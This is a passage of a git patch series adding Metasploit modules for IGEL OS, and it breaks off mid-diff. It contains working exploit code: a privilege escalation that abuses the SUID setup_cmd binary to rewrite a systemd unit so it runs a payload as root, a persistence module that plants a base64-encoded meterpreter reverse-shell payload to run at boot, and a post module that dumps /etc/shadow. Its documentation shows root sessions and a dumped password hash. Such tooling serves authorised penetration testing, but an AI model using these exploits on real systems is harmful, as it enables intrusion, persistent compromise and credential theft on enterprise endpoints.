From f29505d0d057b65a1da584c6670d5f6348581250 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 17 Nov 2025 15:18:09 +0000 Subject: [PATCH 01/22] Add IGEL OS modules --- .../linux/local/igel_network_priv_esc.rb | 110 ++++++++++++++++++ .../exploits/linux/local/igel_persistence.rb | 107 +++++++++++++++++ modules/post/linux/gather/igel_dump_file.rb | 46 ++++++++ 3 files changed, 263 insertions(+) create mode 100644 modules/exploits/linux/local/igel_network_priv_esc.rb create mode 100644 modules/exploits/linux/local/igel_persistence.rb create mode 100644 modules/post/linux/gather/igel_dump_file.rb diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb new file mode 100644 index 0000000000000..ca911debc8846 --- /dev/null +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + include Msf::Post::Linux + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IGEL OS Privilege Escalation (via systemd service)', + 'Description' => %q{ + Escalate privileges for IGEL OS Workspace Edition sessions, by modifying + network-manager.service using setup_cmd (SUID) and network, then restarting + the service. + }, + 'Author' => 'Zack Didcott', + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ + 'Linux x86', { + 'Arch' => ARCH_X86, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } + } + ], + [ + 'Linux x86_64', { + 'Arch' => ARCH_X64, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } + ], + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2024-05-16', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS] + } + ) + ) + + register_advanced_options([ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ]) + end + + def exploit + print_status('Uploading payload to target') + payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700) + + print_status('Writing config to target') + config = build_config(payload_file) + config_file = write_payload(config, datastore['WritableDir'], 0o600) + + print_status('Applying service config') + modify_service(config_file) + + print_status('Restarting service') + restart_service + end + + def write_payload(contents, dir, perm) + fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir) + + filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" + + write_file(filepath, contents) + chmod(filepath, perm) + register_files_for_cleanup(filepath) + + return filepath + end + + def build_config(payload_file) + config = <<~CONFIG.strip + [Service] + TimeoutStartSec=infinity + ExecStartPost=#{payload_file} + CONFIG + return config + end + + def modify_service(config_file) + command = <<~COMMAND.strip + /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF + env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit + EOF + COMMAND + + script_file = write_payload(command, datastore['WritableDir'], 0o700) + output = cmd_exec(script_file) + return output + end + + def restart_service + cmd_exec('/config/bin/setup_cmd /config/bin/network restart') + end +end diff --git a/modules/exploits/linux/local/igel_persistence.rb b/modules/exploits/linux/local/igel_persistence.rb new file mode 100644 index 0000000000000..cbce4c1047cef --- /dev/null +++ b/modules/exploits/linux/local/igel_persistence.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + include Msf::Post::Linux + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IGEL OS Persistent Payload', + 'Description' => %q{ + Gain persistence for specified payload on IGEL OS Workspace Edition, by writing + a payload to disk or base64-encoding and executing from registry. + }, + 'Author' => 'Zack Didcott', + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ + 'Linux x86', { + 'Arch' => ARCH_X86, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } + } + ], + [ + 'Linux x86_64', { + 'Arch' => ARCH_X64, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } + ], + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2024-05-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('REGISTRY_KEY', [ + true, + 'Registry key to use for automatically executing payload', + 'userinterface.rccustom.custom_cmd_net_final' + ]), + OptString.new('TARGET_DIR', [true, 'Directory to write payload', '/license']), + OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry', false]) + ]) + end + + def exploit + if datastore['REGISTRY_ONLY'] + print_status('Base64-encoding payload') + encoded_payload = Rex::Text.encode_base64(generate_payload_exe) + command = base64_command(encoded_payload) + else + print_status("Uploading payload to #{datastore['TARGET_DIR']}") + payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) + command = local_command(payload_file) + end + print_status('Writing persistence to registry') + write_registry(datastore['REGISTRY_KEY'], command) + end + + def remount_license(opt = 'rw') + cmd_exec("/bin/mount -o remount,#{opt} /license") + end + + def write_payload(contents, dir, perm) + remount_license('rw') + + filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" + write_file(filepath, contents) + chmod(filepath, perm) + + remount_license('ro') + + return filepath + end + + def base64_command(encoded_payload) + payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}" + "/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'" + end + + def local_command(payload_file) + command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'" + return command + end + + def write_registry(key, value) + cmd_exec("/bin/setparam \"#{key}\" \"#{value}\"") + end +end diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb new file mode 100644 index 0000000000000..93259960bc9af --- /dev/null +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -0,0 +1,46 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IGEL OS Dump File', + 'Description' => %q{ + Dump a file with escalated privileges for IGEL OS Workspace Edition sessions, + by elevating rights with setup_cmd (SUID) and outputting with date. + }, + 'Author' => 'Zack Didcott', + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2024-05-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options([ + OptString.new('RPATH', [true, 'File on the target to dump', '/etc/shadow']) + ]) + end + + def run + print_status('Executing command on target') + output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}") + + print_status('Command completed:') + output.each_line do |line| + line = line.strip + print_line(line.delete_prefix( + "/bin/date: invalid date '" + ).delete_suffix("'")) + end + end +end From 1436803783e104383a28109cf696a7302aa43bcf Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 17 Nov 2025 16:33:00 +0000 Subject: [PATCH 02/22] Strip first line and quotes --- modules/post/linux/gather/igel_dump_file.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb index 93259960bc9af..4a4b306d0eaa5 100644 --- a/modules/post/linux/gather/igel_dump_file.rb +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -36,11 +36,11 @@ def run output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}") print_status('Command completed:') - output.each_line do |line| + output.lines[1..-1].each do |line| line = line.strip print_line(line.delete_prefix( - "/bin/date: invalid date '" - ).delete_suffix("'")) + "/bin/date: invalid date ‘" + ).delete_suffix("’")) end end end From c37f7872a30d9bf1ec9d6801a26508107d3aa861 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 17 Nov 2025 16:33:15 +0000 Subject: [PATCH 03/22] Add documentation for IGEL OS modules --- .../linux/local/igel_network_priv_esc.md | 38 ++++++++++++++++ .../exploit/linux/local/igel_persistence.md | 34 +++++++++++++++ .../post/linux/gather/igel_dump_file.md | 43 +++++++++++++++++++ 3 files changed, 115 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/igel_network_priv_esc.md create mode 100644 documentation/modules/exploit/linux/local/igel_persistence.md create mode 100644 documentation/modules/post/linux/gather/igel_dump_file.md diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md new file mode 100644 index 0000000000000..80c520cee60f6 --- /dev/null +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -0,0 +1,38 @@ +## Vulnerable Application + +IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. + +## Verification Steps + +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host +2. Use: `use exploit/linux/local/igel_network_priv_esc` +3. Set: `set SESSION `, replacing `` with the session ID +4. Set payload options, e.g. `LHOST` +5. Exploit: `run` +6. A new session is created as root + +## Options + +None. + +## Scenarios + +``` +msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1 +SESSION => 1 +msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf exploit(linux/local/igel_network_priv_esc) > run +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Uploading payload to target +[*] Writing config to target +[*] Applying service config +[*] Restarting service +[*] Sending stage (3090404 bytes) to 192.168.56.7 +[+] Deleted /tmp/WHQCVmDB +[+] Deleted /tmp/fylZWXSF +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000 + +meterpreter > getuid +Server username: root +``` diff --git a/documentation/modules/exploit/linux/local/igel_persistence.md b/documentation/modules/exploit/linux/local/igel_persistence.md new file mode 100644 index 0000000000000..4d7d3e7b6fc5e --- /dev/null +++ b/documentation/modules/exploit/linux/local/igel_persistence.md @@ -0,0 +1,34 @@ +## Vulnerable Application + +IGEL OS with a `shell` or `meterpreter` session. + +## Verification Steps + +1. Get a `shell` or `meterpreter` session on an IGEL OS host +2. Use: `use exploit/linux/local/igel_persistence` +3. Set: `set SESSION `, replacing `` with the session ID +4. Set payload options, e.g. `LHOST` +5. Exploit: `run` +6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`) + +## Options + +| Name | Description | +| ------------- | ------------------------------------------------------- | +| REGISTRY_KEY | Registry key to use for automatically executing payload | +| REGISTRY_ONLY | Set whether to store payload in registry | +| TARGET_DIR | Directory to write payload | + +## Scenarios + +``` +msf exploit(linux/local/igel_persistence) > set SESSION 2 +SESSION => 2 +msf exploit(linux/local/igel_persistence) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf exploit(linux/local/igel_persistence) > run +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Uploading payload to /license +[*] Writing persistence to registry +[*] Exploit completed, but no session was created. +``` diff --git a/documentation/modules/post/linux/gather/igel_dump_file.md b/documentation/modules/post/linux/gather/igel_dump_file.md new file mode 100644 index 0000000000000..cc7b758d63288 --- /dev/null +++ b/documentation/modules/post/linux/gather/igel_dump_file.md @@ -0,0 +1,43 @@ +## Vulnerable Application + +IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. + +## Verification Steps + +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host +2. Use: `use post/linux/gather/igel_dump_file` +3. Set: `set SESSION `, replacing `` with the session ID +4. Optionally, set `RPATH` +5. Run: `run` +6. Contents of file is displayed + +## Options + +| Name | Description | +| ------------- | -------------------------- | +| RPATH | File on the target to dump | + +## Scenarios + +``` +msf post(linux/gather/igel_dump_file) > set SESSION 1 +SESSION => 1 +msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow +RPATH => /etc/shadow +msf post(linux/gather/igel_dump_file) > run +[*] Executing command on target +[*] Command completed: +games:!!:20409:::::: +man:!!:20409:::::: +proxy:!!:20409:::::: +backup:!!:20409:::::: +list:!!:20409:::::: +irc:!!:20409:::::: +gnats:!!:20409:::::: +systemd-coredump:!!:20409:::::: +root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999:::: +rtkit:*:20409:0:99999:7::: +user:*:20409:0:99999:::: +ruser::20409:0:99999:::: +[*] Post module execution completed +``` From 796d941354606dd0f79649e64f1518ea35a0fc67 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 17 Nov 2025 16:38:13 +0000 Subject: [PATCH 04/22] Code formatting changes --- modules/post/linux/gather/igel_dump_file.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb index 4a4b306d0eaa5..40d46786df138 100644 --- a/modules/post/linux/gather/igel_dump_file.rb +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -36,11 +36,11 @@ def run output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}") print_status('Command completed:') - output.lines[1..-1].each do |line| + output.lines[1..].each do |line| line = line.strip print_line(line.delete_prefix( - "/bin/date: invalid date ‘" - ).delete_suffix("’")) + '/bin/date: invalid date ‘' + ).delete_suffix('’')) end end end From c6db0d4285750fddb92f143b2256e49ea803dd70 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 17 Nov 2025 18:42:28 +0000 Subject: [PATCH 05/22] Move IGEL OS persistence module to linux/persistence --- .../linux/{local => persistence}/igel_persistence.md | 8 ++++---- .../linux/{local => persistence}/igel_persistence.rb | 3 ++- 2 files changed, 6 insertions(+), 5 deletions(-) rename documentation/modules/exploit/linux/{local => persistence}/igel_persistence.md (79%) rename modules/exploits/linux/{local => persistence}/igel_persistence.rb (98%) diff --git a/documentation/modules/exploit/linux/local/igel_persistence.md b/documentation/modules/exploit/linux/persistence/igel_persistence.md similarity index 79% rename from documentation/modules/exploit/linux/local/igel_persistence.md rename to documentation/modules/exploit/linux/persistence/igel_persistence.md index 4d7d3e7b6fc5e..7f5ce711b77a4 100644 --- a/documentation/modules/exploit/linux/local/igel_persistence.md +++ b/documentation/modules/exploit/linux/persistence/igel_persistence.md @@ -5,7 +5,7 @@ IGEL OS with a `shell` or `meterpreter` session. ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS host -2. Use: `use exploit/linux/local/igel_persistence` +2. Use: `use exploit/linux/persistence/igel_persistence` 3. Set: `set SESSION `, replacing `` with the session ID 4. Set payload options, e.g. `LHOST` 5. Exploit: `run` @@ -22,11 +22,11 @@ IGEL OS with a `shell` or `meterpreter` session. ## Scenarios ``` -msf exploit(linux/local/igel_persistence) > set SESSION 2 +msf exploit(linux/persistence/igel_persistence) > set SESSION 2 SESSION => 2 -msf exploit(linux/local/igel_persistence) > set LHOST 192.168.56.1 +msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf exploit(linux/local/igel_persistence) > run +msf exploit(linux/persistence/igel_persistence) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Uploading payload to /license [*] Writing persistence to registry diff --git a/modules/exploits/linux/local/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb similarity index 98% rename from modules/exploits/linux/local/igel_persistence.rb rename to modules/exploits/linux/persistence/igel_persistence.rb index cbce4c1047cef..d57750e0676e8 100644 --- a/modules/exploits/linux/local/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence def initialize(info = {}) super( @@ -61,7 +62,7 @@ def initialize(info = {}) ]) end - def exploit + def install_persistence if datastore['REGISTRY_ONLY'] print_status('Base64-encoding payload') encoded_payload = Rex::Text.encode_base64(generate_payload_exe) From 22aead0db1f28196c2137b2c987197d4db10b1fa Mon Sep 17 00:00:00 2001 From: Zack Didcott <66186954+Zedeldi@users.noreply.github.com> Date: Wed, 19 Nov 2025 18:01:05 +0000 Subject: [PATCH 06/22] Use vprint_status for modify_service and restart_service Co-authored-by: Brendan --- modules/exploits/linux/local/igel_network_priv_esc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb index ca911debc8846..86d46577436f9 100644 --- a/modules/exploits/linux/local/igel_network_priv_esc.rb +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -65,10 +65,10 @@ def exploit config_file = write_payload(config, datastore['WritableDir'], 0o600) print_status('Applying service config') - modify_service(config_file) + vprint_status(modify_service(config_file)) print_status('Restarting service') - restart_service + vprint_status(restart_service) end def write_payload(contents, dir, perm) From beed317573e1d3f15fa8f4a0e0c0e8ab0483764e Mon Sep 17 00:00:00 2001 From: Zack Didcott <66186954+Zedeldi@users.noreply.github.com> Date: Wed, 19 Nov 2025 18:02:08 +0000 Subject: [PATCH 07/22] Use create_process instead of cmd_exec Co-authored-by: Brendan --- modules/exploits/linux/local/igel_network_priv_esc.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb index 86d46577436f9..8d43bd3f636ef 100644 --- a/modules/exploits/linux/local/igel_network_priv_esc.rb +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -100,11 +100,10 @@ def modify_service(config_file) COMMAND script_file = write_payload(command, datastore['WritableDir'], 0o700) - output = cmd_exec(script_file) - return output + create_process(script_file) end def restart_service - cmd_exec('/config/bin/setup_cmd /config/bin/network restart') + create_process('/config/bin/setup_cmd', args:['/config/bin/network', 'restart'], time_out:120) end end From bc2c397b8cf261aec29a3938a394344f6864999f Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Wed, 19 Nov 2025 20:01:57 +0000 Subject: [PATCH 08/22] Add check for root access to igel_persistence --- modules/exploits/linux/persistence/igel_persistence.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index d57750e0676e8..434519cc79d68 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -62,6 +63,12 @@ def initialize(info = {}) ]) end + def check + return CheckCode::Safe('Session does not have root access') unless is_root? + + CheckCode::Appears('Session has root access') + end + def install_persistence if datastore['REGISTRY_ONLY'] print_status('Base64-encoding payload') From 8d28ce611a9fdf02534cb5965ff39d3e8aa47e55 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Wed, 19 Nov 2025 20:33:46 +0000 Subject: [PATCH 09/22] Revert to cmd_exec for modify_service and improve code style --- modules/exploits/linux/local/igel_network_priv_esc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb index 8d43bd3f636ef..766b443257b2d 100644 --- a/modules/exploits/linux/local/igel_network_priv_esc.rb +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -100,10 +100,10 @@ def modify_service(config_file) COMMAND script_file = write_payload(command, datastore['WritableDir'], 0o700) - create_process(script_file) + cmd_exec(script_file) end def restart_service - create_process('/config/bin/setup_cmd', args:['/config/bin/network', 'restart'], time_out:120) + create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120) end end From ba702d40ea2dacbfb20de065e97f66dede95a184 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Fri, 21 Nov 2025 12:04:49 +0000 Subject: [PATCH 10/22] Remove x86 target and redundant DefaultOptions --- modules/exploits/linux/local/igel_network_priv_esc.rb | 11 ++--------- .../exploits/linux/persistence/igel_persistence.rb | 11 ++--------- 2 files changed, 4 insertions(+), 18 deletions(-) diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb index 766b443257b2d..d509049723260 100644 --- a/modules/exploits/linux/local/igel_network_priv_esc.rb +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -24,14 +24,8 @@ def initialize(info = {}) 'Author' => 'Zack Didcott', 'License' => MSF_LICENSE, 'Platform' => ['linux'], - 'Arch' => [ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_X64], 'Targets' => [ - [ - 'Linux x86', { - 'Arch' => ARCH_X86, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } - } - ], [ 'Linux x86_64', { 'Arch' => ARCH_X64, @@ -39,8 +33,7 @@ def initialize(info = {}) } ], ], - 'DefaultTarget' => 1, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0, 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2024-05-16', 'Notes' => { diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index 434519cc79d68..3528db6636755 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -25,14 +25,8 @@ def initialize(info = {}) 'Author' => 'Zack Didcott', 'License' => MSF_LICENSE, 'Platform' => ['linux'], - 'Arch' => [ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_X64], 'Targets' => [ - [ - 'Linux x86', { - 'Arch' => ARCH_X86, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } - } - ], [ 'Linux x86_64', { 'Arch' => ARCH_X64, @@ -40,8 +34,7 @@ def initialize(info = {}) } ], ], - 'DefaultTarget' => 1, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0, 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2024-05-16', 'Notes' => { From b13137886aa0d720da44d539c4faf2df5ef75147 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Fri, 21 Nov 2025 13:09:28 +0000 Subject: [PATCH 11/22] Add IGEL OS and vulnerability summary to documentation --- .../exploit/linux/local/igel_network_priv_esc.md | 12 ++++++++++++ .../exploit/linux/persistence/igel_persistence.md | 14 ++++++++++++++ .../modules/post/linux/gather/igel_dump_file.md | 10 ++++++++++ 3 files changed, 36 insertions(+) diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md index 80c520cee60f6..0913ac0941c50 100644 --- a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -2,6 +2,18 @@ IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. +IGEL OS is a Linux-based operating system designed for endpoint devices, +primarily used in enterprise environments to provide secure access to virtual +workspaces. It focuses on enhancing security, simplifying management, and +improving user productivity across various sectors, including healthcare and +finance. + +In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset +list of files it could execute with elevated permissions. This allowed a bash +script `/config/bin/network` to be executed as root, which in turn called +`systemctl $1 network-manager.service`, allowing a systemd unit to be modified +by an unprivileged user. + ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host diff --git a/documentation/modules/exploit/linux/persistence/igel_persistence.md b/documentation/modules/exploit/linux/persistence/igel_persistence.md index 7f5ce711b77a4..6b7327a0f87b5 100644 --- a/documentation/modules/exploit/linux/persistence/igel_persistence.md +++ b/documentation/modules/exploit/linux/persistence/igel_persistence.md @@ -2,6 +2,20 @@ IGEL OS with a `shell` or `meterpreter` session. +IGEL OS is a Linux-based operating system designed for endpoint devices, +primarily used in enterprise environments to provide secure access to virtual +workspaces. It focuses on enhancing security, simplifying management, and +improving user productivity across various sectors, including healthcare and +finance. + +Most of the operating system is read-only, mounted from SquashFS images +stored in their proprietary filesystem, with the exception of a few persistent +locations. Therefore, changes to the system will likely be lost on a reboot, +unless written to specific locations, such as `/license` or registry. + +See [igelfs](https://github.com/Zedeldi/igelfs) for more information about +the IGEL filesystem and an unofficial Python implementation. + ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS host diff --git a/documentation/modules/post/linux/gather/igel_dump_file.md b/documentation/modules/post/linux/gather/igel_dump_file.md index cc7b758d63288..b75e11f05aa42 100644 --- a/documentation/modules/post/linux/gather/igel_dump_file.md +++ b/documentation/modules/post/linux/gather/igel_dump_file.md @@ -2,6 +2,16 @@ IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. +IGEL OS is a Linux-based operating system designed for endpoint devices, +primarily used in enterprise environments to provide secure access to virtual +workspaces. It focuses on enhancing security, simplifying management, and +improving user productivity across various sectors, including healthcare and +finance. + +In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset +list of files it could execute with elevated permissions. This allowed +`/bin/date -f` to be used for data extraction as root. + ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host From dc9eddc7a2f92edd5c110e07f78c9968dba77a4a Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Fri, 21 Nov 2025 13:22:22 +0000 Subject: [PATCH 12/22] Use store_loot for igel_dump_file --- modules/post/linux/gather/igel_dump_file.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb index 40d46786df138..fbfb0bf72af68 100644 --- a/modules/post/linux/gather/igel_dump_file.rb +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -36,11 +36,17 @@ def run output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}") print_status('Command completed:') + data = [] output.lines[1..].each do |line| - line = line.strip - print_line(line.delete_prefix( + line = line.strip.delete_prefix( '/bin/date: invalid date ‘' - ).delete_suffix('’')) + ).delete_suffix('’') + data << line + print_line(line) end + + fname = File.basename(datastore['RPATH'].downcase) + loot = store_loot("igel.#{fname}", 'text/plain', session, data.join("\n"), datastore['RPATH']) + print_status("#{datastore['RPATH']} stored in #{loot}") end end From 425adfa9bff64c09c61f52835826fd0e55e96210 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Fri, 21 Nov 2025 13:40:25 +0000 Subject: [PATCH 13/22] Prefer create_process over cmd_exec for commands with arguments --- modules/exploits/linux/persistence/igel_persistence.rb | 4 ++-- modules/post/linux/gather/igel_dump_file.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index 3528db6636755..eadacd581a74e 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -77,7 +77,7 @@ def install_persistence end def remount_license(opt = 'rw') - cmd_exec("/bin/mount -o remount,#{opt} /license") + create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license']) end def write_payload(contents, dir, perm) @@ -103,6 +103,6 @@ def local_command(payload_file) end def write_registry(key, value) - cmd_exec("/bin/setparam \"#{key}\" \"#{value}\"") + create_process('/bin/setparam', args: [key, value]) end end diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb index fbfb0bf72af68..791eeca251e04 100644 --- a/modules/post/linux/gather/igel_dump_file.rb +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 